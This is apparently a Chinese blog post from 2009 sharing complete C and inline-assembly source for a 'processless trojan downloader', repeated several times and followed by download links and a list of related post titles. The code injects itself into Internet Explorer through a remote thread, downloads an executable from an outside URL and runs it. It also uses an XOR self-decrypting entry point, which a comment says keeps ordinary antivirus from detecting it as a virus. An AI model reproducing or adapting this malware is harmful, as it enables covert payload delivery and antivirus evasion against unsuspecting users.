VC无进程木马下载器源码
一、 打开半年前的一个工程,是利用IE来隐藏进程下载的实例,我想灰鸽子也是类似原理吧!
下面是程序的主要思路:
1.获取程序自身路径,启动IE进程
2.获取到IE进程句柄
3.分配内存
4.获取进程映像的地址
5.得到内存镜像大小
6.确定起始基址和内存映像基址的位置
7.写内存,创建线程,写数据
8.建立远程线程并运行,关闭对象
二、下面是源码 ,举例下载迅雷而矣:
- view plaincopy to clipboardprint?
- /*
- VC无进程木马下载器
- By: Kardinal and 寂寞的狼
- 2009.3.10
- */
- #include <windows.h>
- #pragma comment(lib,"user32.lib")
- #pragma comment(lib,"kernel32.lib")
- //取消这4行的注释,可编译出2K大的文件
- //#pragma comment(linker,"/OPT:NOWIN98")
- //#pragma comment(linker,"/merge:.data=.text")
- //#pragma comment(linker,"/merge:.rdata=.text")
- //#pragma comment(linker,"/align:0x200")
- #pragma comment(linker,"/ENTRY:decrpt")
- #pragma comment(linker,"/subsystem:windows")
- #pragma comment(linker,"/BASE:0x13150000")
- //动态加载shell32.dll中的ShellExecuteA函数
- HINSTANCE (WINAPI *SHELLRUN)( HWND , LPCTSTR , LPCTSTR , LPCTSTR , LPCTSTR , int );
- //动态加载Urlmon.dll中的UrlDownloadToFileA函数
- DWORD (WINAPI *DOWNFILE)( LPCTSTR , LPCTSTR , LPCTSTR , DWORD , LPCTSTR );
- //建立远程线程,并运行
- HANDLE (WINAPI *MYINJECT) ( HANDLE , LPSECURITY_ATTRIBUTES, DWORD ,LPTHREAD_START_ROUTINE, LPVOID , DWORD , LPDWORD );
- void decrpt();
- HANDLE processhandle;
- DWORD pid;
- HINSTANCE hshell,hurlmon,hkernel; // HINSTANCE与HMOUDLE是通用
- // 注入使用的下载函数
- void download()
- {
- hshell = LoadLibrary("Shell32.dll" );
- hurlmon = LoadLibrary("urlmon.dll" );
- (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA" );
- (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA" );
- //下载的文件自行调整
- DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe" , "C://xunlei.exe" ,0,NULL);
- SHELLRUN(0,"open" , "C://xunlei.exe" ,NULL,NULL,5);
- ExitProcess(0);
- }
- void main()
- {
- char iename[MAX_PATH],iepath[MAX_PATH];
- ZeroMemory(iename,sizeof (iename));
- ZeroMemory(iepath,sizeof (iepath));
- // 1.获取程序自身路径,启动IE进程
- GetWindowsDirectory(iepath,MAX_PATH);
- strncpy(iename,iepath,3);
- strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE" );
- WinExec(iename,SW_SHOWNORMAL);
- Sleep(500);
- // 2.得到IE进程句柄
- HWND htemp;
- htemp = FindWindow("IEFrame" ,NULL);
- GetWindowThreadProcessId(htemp,&pid);
- // 3.分配内存
- HMODULE Module;
- LPVOID NewModule;
- DWORD Size;
- LPDWORD lpimagesize;
- // 4.进程映像的地址
- Module = GetModuleHandle(NULL);
- // 5.得到内存镜像大小
- _asm
- {
- push eax;
- push ebx;
- mov ebx,Module;
- mov eax,[ebx+0x3c];
- lea eax,[ebx+eax+0x50];
- mov eax,[eax]
- mov lpimagesize,eax;
- pop ebx;
- pop eax;
- };
- Size=(DWORD )lpimagesize;
- // 确定起始基址和内存映像基址的位置
- NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- // 6.写内存,创建线程,写数据
- WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);
- LPTHREAD_START_ROUTINE entrypoint;
- __asm
- {
- push eax;
- lea eax,download;
- mov entrypoint,eax;
- pop eax
- }
- hkernel=LoadLibrary("KERNEL32.dll" );
- (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread" );
- MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
- // 7.关闭对象
- CloseHandle(processhandle);
- return ;
- } ;
- // 解密函数
- void decrpt()
- {
- HANDLE myps;
- DWORD oldAttr;
- BYTE shellcode[500];
- ZeroMemory(shellcode,sizeof (shellcode));
- myps=GetCurrentProcess();
- ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);
- //先把原代码,搬移到变量中保存起来
- _asm
- {
- pushad;
- lea esi,download;
- lea edi,shellcode;
- lea ecx,decrpt;
- sub ecx,esi;
- en1:
- lodsb;
- stosb;
- dec ecx;
- jne en1;
- popad;
- };
- //解密搬回
- int i;
- for (i=1;i<=0xFF;i++)
- {
- _asm
- {
- pushad;
- lea esi,shellcode;
- lea edi,download;
- lea ecx,decrpt;
- sub ecx,edi;
- en2:
- lodsb;
- mov ebx,i;
- xor al,bl;
- stosb;
- dec ecx;
- jne en2;
- popad;
- };
- //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.
- __try
- {
- main();
- return ;
- }
- __except(EXCEPTION_EXECUTE_HANDLER)
- {
- };
- }
- return ;
- }
- /*
- VC无进程木马下载器
- By: Kardinal and 寂寞的狼
- 2009.3.10
- */
- #include <windows.h>
- #pragma comment(lib,"user32.lib")
- #pragma comment(lib,"kernel32.lib")
- //取消这4行的注释,可编译出2K大的文件
- //#pragma comment(linker,"/OPT:NOWIN98")
- //#pragma comment(linker,"/merge:.data=.text")
- //#pragma comment(linker,"/merge:.rdata=.text")
- //#pragma comment(linker,"/align:0x200")
- #pragma comment(linker,"/ENTRY:decrpt")
- #pragma comment(linker,"/subsystem:windows")
- #pragma comment(linker,"/BASE:0x13150000")
- //动态加载shell32.dll中的ShellExecuteA函数
- HINSTANCE (WINAPI *SHELLRUN)( HWND , LPCTSTR , LPCTSTR , LPCTSTR , LPCTSTR , int );
- //动态加载Urlmon.dll中的UrlDownloadToFileA函数
- DWORD (WINAPI *DOWNFILE)( LPCTSTR , LPCTSTR , LPCTSTR , DWORD , LPCTSTR );
- //建立远程线程,并运行
- HANDLE (WINAPI *MYINJECT) ( HANDLE , LPSECURITY_ATTRIBUTES, DWORD ,LPTHREAD_START_ROUTINE, LPVOID , DWORD , LPDWORD );
- void decrpt();
- HANDLE processhandle;
- DWORD pid;
- HINSTANCE hshell,hurlmon,hkernel; // HINSTANCE与HMOUDLE是通用
- // 注入使用的下载函数
- void download()
- {
- hshell = LoadLibrary("Shell32.dll" );
- hurlmon = LoadLibrary("urlmon.dll" );
- (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA" );
- (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA" );
- //下载的文件自行调整
- DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe" , "C://xunlei.exe" ,0,NULL);
- SHELLRUN(0,"open" , "C://xunlei.exe" ,NULL,NULL,5);
- ExitProcess(0);
- }
- void main()
- {
- char iename[MAX_PATH],iepath[MAX_PATH];
- ZeroMemory(iename,sizeof (iename));
- ZeroMemory(iepath,sizeof (iepath));
- // 1.获取程序自身路径,启动IE进程
- GetWindowsDirectory(iepath,MAX_PATH);
- strncpy(iename,iepath,3);
- strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE" );
- WinExec(iename,SW_SHOWNORMAL);
- Sleep(500);
- // 2.得到IE进程句柄
- HWND htemp;
- htemp = FindWindow("IEFrame" ,NULL);
- GetWindowThreadProcessId(htemp,&pid);
- // 3.分配内存
- HMODULE Module;
- LPVOID NewModule;
- DWORD Size;
- LPDWORD lpimagesize;
- // 4.进程映像的地址
- Module = GetModuleHandle(NULL);
- // 5.得到内存镜像大小
- _asm
- {
- push eax;
- push ebx;
- mov ebx,Module;
- mov eax,[ebx+0x3c];
- lea eax,[ebx+eax+0x50];
- mov eax,[eax]
- mov lpimagesize,eax;
- pop ebx;
- pop eax;
- };
- Size=(DWORD )lpimagesize;
- // 确定起始基址和内存映像基址的位置
- NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- // 6.写内存,创建线程,写数据
- WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);
- LPTHREAD_START_ROUTINE entrypoint;
- __asm
- {
- push eax;
- lea eax,download;
- mov entrypoint,eax;
- pop eax
- }
- hkernel=LoadLibrary("KERNEL32.dll" );
- (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread" );
- MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
- // 7.关闭对象
- CloseHandle(processhandle);
- return ;
- } ;
- // 解密函数
- void decrpt()
- {
- HANDLE myps;
- DWORD oldAttr;
- BYTE shellcode[500];
- ZeroMemory(shellcode,sizeof (shellcode));
- myps=GetCurrentProcess();
- ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr);
- //先把原代码,搬移到变量中保存起来
- _asm
- {
- pushad;
- lea esi,download;
- lea edi,shellcode;
- lea ecx,decrpt;
- sub ecx,esi;
- en1:
- lodsb;
- stosb;
- dec ecx;
- jne en1;
- popad;
- };
- //解密搬回
- int i;
- for (i=1;i<=0xFF;i++)
- {
- _asm
- {
- pushad;
- lea esi,shellcode;
- lea edi,download;
- lea ecx,decrpt;
- sub ecx,edi;
- en2:
- lodsb;
- mov ebx,i;
- xor al,bl;
- stosb;
- dec ecx;
- jne en2;
- popad;
- };
- //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒.
- __try
- {
- main();
- return ;
- }
- __except(EXCEPTION_EXECUTE_HANDLER)
- {
- };
- }
- return ;
- }
view plaincopy to clipboardprint? /* VC无进程木马下载器 By: Kardinal and 寂寞的狼 2009.3.10 */ #include <windows.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"kernel32.lib") //取消这4行的注释,可编译出2K大的文件 //#pragma comment(linker,"/OPT:NOWIN98") //#pragma comment(linker,"/merge:.data=.text") //#pragma comment(linker,"/merge:.rdata=.text") //#pragma comment(linker,"/align:0x200") #pragma comment(linker,"/ENTRY:decrpt") #pragma comment(linker,"/subsystem:windows") #pragma comment(linker,"/BASE:0x13150000") //动态加载shell32.dll中的ShellExecuteA函数 HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int); //动态加载Urlmon.dll中的UrlDownloadToFileA函数 DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR); //建立远程线程,并运行 HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); void decrpt(); HANDLE processhandle; DWORD pid; HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用 // 注入使用的下载函数 void download() { hshell = LoadLibrary("Shell32.dll"); hurlmon = LoadLibrary("urlmon.dll"); (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA"); (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA"); //下载的文件自行调整 DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe","C://xunlei.exe",0,NULL); SHELLRUN(0,"open","C://xunlei.exe",NULL,NULL,5); ExitProcess(0); } void main() { char iename[MAX_PATH],iepath[MAX_PATH]; ZeroMemory(iename,sizeof(iename)); ZeroMemory(iepath,sizeof(iepath)); // 1.获取程序自身路径,启动IE进程 GetWindowsDirectory(iepath,MAX_PATH); strncpy(iename,iepath,3); strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE"); WinExec(iename,SW_SHOWNORMAL); Sleep(500); // 2.得到IE进程句柄 HWND htemp; htemp = FindWindow("IEFrame",NULL); GetWindowThreadProcessId(htemp,&pid); // 3.分配内存 HMODULE Module; LPVOID NewModule; DWORD Size; LPDWORD lpimagesize; // 4.进程映像的地址 Module = GetModuleHandle(NULL); // 5.得到内存镜像大小 _asm { push eax; push ebx; mov ebx,Module; mov eax,[ebx+0x3c]; lea eax,[ebx+eax+0x50]; mov eax,[eax] mov lpimagesize,eax; pop ebx; pop eax; }; Size=(DWORD)lpimagesize; // 确定起始基址和内存映像基址的位置 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 6.写内存,创建线程,写数据 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL); LPTHREAD_START_ROUTINE entrypoint; __asm { push eax; lea eax,download; mov entrypoint,eax; pop eax } hkernel=LoadLibrary("KERNEL32.dll"); (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread"); MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行 // 7.关闭对象 CloseHandle(processhandle); return; } ; // 解密函数 void decrpt() { HANDLE myps; DWORD oldAttr; BYTE shellcode[500]; ZeroMemory(shellcode,sizeof(shellcode)); myps=GetCurrentProcess(); ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr); //先把原代码,搬移到变量中保存起来 _asm { pushad; lea esi,download; lea edi,shellcode; lea ecx,decrpt; sub ecx,esi; en1: lodsb; stosb; dec ecx; jne en1; popad; }; //解密搬回 int i; for (i=1;i<=0xFF;i++) { _asm { pushad; lea esi,shellcode; lea edi,download; lea ecx,decrpt; sub ecx,edi; en2: lodsb; mov ebx,i; xor al,bl; stosb; dec ecx; jne en2; popad; }; //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. __try { main(); return; } __except(EXCEPTION_EXECUTE_HANDLER) { }; } return; } /* VC无进程木马下载器 By: Kardinal and 寂寞的狼 2009.3.10 */ #include <windows.h> #pragma comment(lib,"user32.lib") #pragma comment(lib,"kernel32.lib") //取消这4行的注释,可编译出2K大的文件 //#pragma comment(linker,"/OPT:NOWIN98") //#pragma comment(linker,"/merge:.data=.text") //#pragma comment(linker,"/merge:.rdata=.text") //#pragma comment(linker,"/align:0x200") #pragma comment(linker,"/ENTRY:decrpt") #pragma comment(linker,"/subsystem:windows") #pragma comment(linker,"/BASE:0x13150000") //动态加载shell32.dll中的ShellExecuteA函数 HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,int); //动态加载Urlmon.dll中的UrlDownloadToFileA函数 DWORD (WINAPI *DOWNFILE)(LPCTSTR,LPCTSTR,LPCTSTR,DWORD,LPCTSTR); //建立远程线程,并运行 HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); void decrpt(); HANDLE processhandle; DWORD pid; HINSTANCE hshell,hurlmon,hkernel;// HINSTANCE与HMOUDLE是通用 // 注入使用的下载函数 void download() { hshell = LoadLibrary("Shell32.dll"); hurlmon = LoadLibrary("urlmon.dll"); (FARPROC&)SHELLRUN = GetProcAddress(hshell,"ShellExecuteA"); (FARPROC&)DOWNFILE = GetProcAddress(hurlmon,"UrlDownloadToFileA"); //下载的文件自行调整 DOWNFILE(NULL,"http://down.sandai.net/Thunder5.9.5.990.exe","C://xunlei.exe",0,NULL); SHELLRUN(0,"open","C://xunlei.exe",NULL,NULL,5); ExitProcess(0); } void main() { char iename[MAX_PATH],iepath[MAX_PATH]; ZeroMemory(iename,sizeof(iename)); ZeroMemory(iepath,sizeof(iepath)); // 1.获取程序自身路径,启动IE进程 GetWindowsDirectory(iepath,MAX_PATH); strncpy(iename,iepath,3); strcat(iename,"C://Program Files//Internet Explorer//IEXPLORE.EXE"); WinExec(iename,SW_SHOWNORMAL); Sleep(500); // 2.得到IE进程句柄 HWND htemp; htemp = FindWindow("IEFrame",NULL); GetWindowThreadProcessId(htemp,&pid); // 3.分配内存 HMODULE Module; LPVOID NewModule; DWORD Size; LPDWORD lpimagesize; // 4.进程映像的地址 Module = GetModuleHandle(NULL); // 5.得到内存镜像大小 _asm { push eax; push ebx; mov ebx,Module; mov eax,[ebx+0x3c]; lea eax,[ebx+eax+0x50]; mov eax,[eax] mov lpimagesize,eax; pop ebx; pop eax; }; Size=(DWORD)lpimagesize; // 确定起始基址和内存映像基址的位置 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 6.写内存,创建线程,写数据 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL); LPTHREAD_START_ROUTINE entrypoint; __asm { push eax; lea eax,download; mov entrypoint,eax; pop eax } hkernel=LoadLibrary("KERNEL32.dll"); (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread"); MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行 // 7.关闭对象 CloseHandle(processhandle); return; } ; // 解密函数 void decrpt() { HANDLE myps; DWORD oldAttr; BYTE shellcode[500]; ZeroMemory(shellcode,sizeof(shellcode)); myps=GetCurrentProcess(); ::VirtualProtectEx(myps,&download,0x1000,PAGE_EXECUTE_READWRITE,&oldAttr); //先把原代码,搬移到变量中保存起来 _asm { pushad; lea esi,download; lea edi,shellcode; lea ecx,decrpt; sub ecx,esi; en1: lodsb; stosb; dec ecx; jne en1; popad; }; //解密搬回 int i; for (i=1;i<=0xFF;i++) { _asm { pushad; lea esi,shellcode; lea edi,download; lea ecx,decrpt; sub ecx,edi; en2: lodsb; mov ebx,i; xor al,bl; stosb; dec ecx; jne en2; popad; }; //此结构的的作用在于使一般的杀毒软件无法探测出来是病毒. __try { main(); return; } __except(EXCEPTION_EXECUTE_HANDLER) { }; } return; }
三、工程及源码下载地址:
http://download.csdn.net/source/1546155
http://www.rayfile.com/files/77ea8ad9-80ff-11de-aeb2-0014221b798a/
VC无进程木马下载器源码相关推荐
- 图解VC++版PE文件解析器源码分析
该源码下载自 http://download.csdn.net/download/witch_soya/4979587 1 Understand 分析的图表 2 PE结构解析的主要代码简要分析 首先看 ...
- 【190302】VC 仿千千静听音乐播放器源码源代码
源码下载简介 超酷界面的VC++音乐播放器,推荐给大家, 在VC++6.0下顺利编译,它的界面非常 酷,编译中也没有发现用到第三方的界面控件,而且播放器的窗口还具有像千千静听一样的自动吸附功能,也就是 ...
- 音乐下载器源码,需要自取
用Python实现听歌自由 需要源代码私信 导入模块 import os import tkinter as tk import webbrowser import requests import t ...
- 2023 诚通网盘在线解析无广告高速下载网站源码
对于用户来说,上传下载应该是网盘最大的痛点.而上传资源网盘肯定不会做限制,因为上传的资源越多,网盘占的市场份额会越大,所以只能从下载方面入手. 1.所以现在除了阿里外,其他的网盘不付费那就是给你几十K ...
- 木马下载器连环出击盗号 “完美时空”帐下《完美世界》《武林外传》《完美世界II》《诛仙》无一幸免(1108)
木马下载器连环出击盗号 "完美时空"帐下<完美世界><武林外传><完美世界II><诛仙>无一幸免(1108) 备选: 黑客木马猖獗 ...
- Discuz论坛web网页mp3音频播放器源码下载
最近在做一个DZ论坛的搭建,在前几天的时候遇到Flash+Js的幻灯片的问题,特写了一篇<JS+Flash焦点图轮播源代码(2屏,3屏,多屏)>来记录论坛搭建过程遇到的一些技术性问题,以便 ...
- C++、VC++、MFC网页自动注册、登陆、发帖、留言,QQ注册、QQ申请器源码、注册邮箱源码、自动发帖源码...
C++.VC++.MFC网页自动注册.登陆.发帖.留言,QQ注册.QQ申请器源码.注册邮箱源码.自动发帖源码 参考资料: 自动登录yahoo邮箱http://blog.csdn.net/suisu ...
- 庖丁解牛分词器---源码下载---错误问题解决
庖丁解牛分词器---源码下载 地址:http://download.csdn.net/detail/u014737138/9349677 由于国内的环境限制,访问不了Google ,同时网上那些下载 ...
- C、C++、VC、MFC网页自动注册、登陆、发帖、留言 QQ注册、QQ申请器源码、源代码
查看文章 [转]C.C++.VC.MFC网页自动注册.登陆.发帖.留言 QQ注册.QQ申请器源码.源代码 2012-01-11 10:58 转载自 qq316293804 最终编辑 qq31629 ...
- C++、VC++、MFC网页自动注册、登陆、发帖、留言,QQ注册、QQ申请器源码、注册邮箱源码、自动发帖源码
参考资料: 自动登录yahoo邮箱http://blog.csdn.net/suisuibianbian/archive/2005/12/12/550260.aspx VC采集网页所有表单域http: ...
最新文章
- python错了怎么修改密码_如何用python更改windows开机密码?
- 090620 T The events of HttpApplication
- Luogu 2827 [NOIP2016] 蚯蚓
- 约会安排 HDU - 4553
- jpa 关联实体的关联实体_JPA实体锁定模式的差异
- 阿里云新设浙江猫精人工智能科技有限公司
- VC调用Delphi对象接口
- [轉]function, new function, new Function
- 基于双边滤波的改进型Canny算法边缘检测冠状动脉CT图像
- 目前常用的4种备份系统架构
- 科技风杂志科技风杂志社科技风编辑部2022年第16期目录
- [转帖]江湖高手专用的“隐身术”:图片隐写技术
- Latex页眉三种形式设置
- 基于C/C++语言的停车场管理系统编程课程设计超详细
- 通信网基础作业答案整理
- linux vncviewer使用教程,vnc使用教程,vnc使用教程5步详解
- 2.网页布局之切切豆腐
- 【Java】寒假答辩作品:Java小游戏
- WAMP Server Localhost Shows 500 Internal Server Error
- 爬取百度贴吧的标题,发帖人,发帖时间
热门文章
- Arrays.sort()和lambda表达式
- 主板rgb接口是什么_什么是主板?
- 分论坛介绍:机器学习、企业数据中台、实验科学与因果推断
- ESXI7.0与6.7官网下载地址
- 如何在Pr中制作镂空字体?
- 计算机有什么简便快捷方法,运行快捷键(电脑常用快捷键大全)
- CSS3 文字边框 -webkit-text-stroke
- java 树什么意思是什么意思是什么意思_什么是红黑树?看完这篇你就明白了!...
- 生活随记 - 2020国庆第三天
- 图片中加入超链接html代码,html网页超链接代码 怎样用HTML代码在图片插入超链接...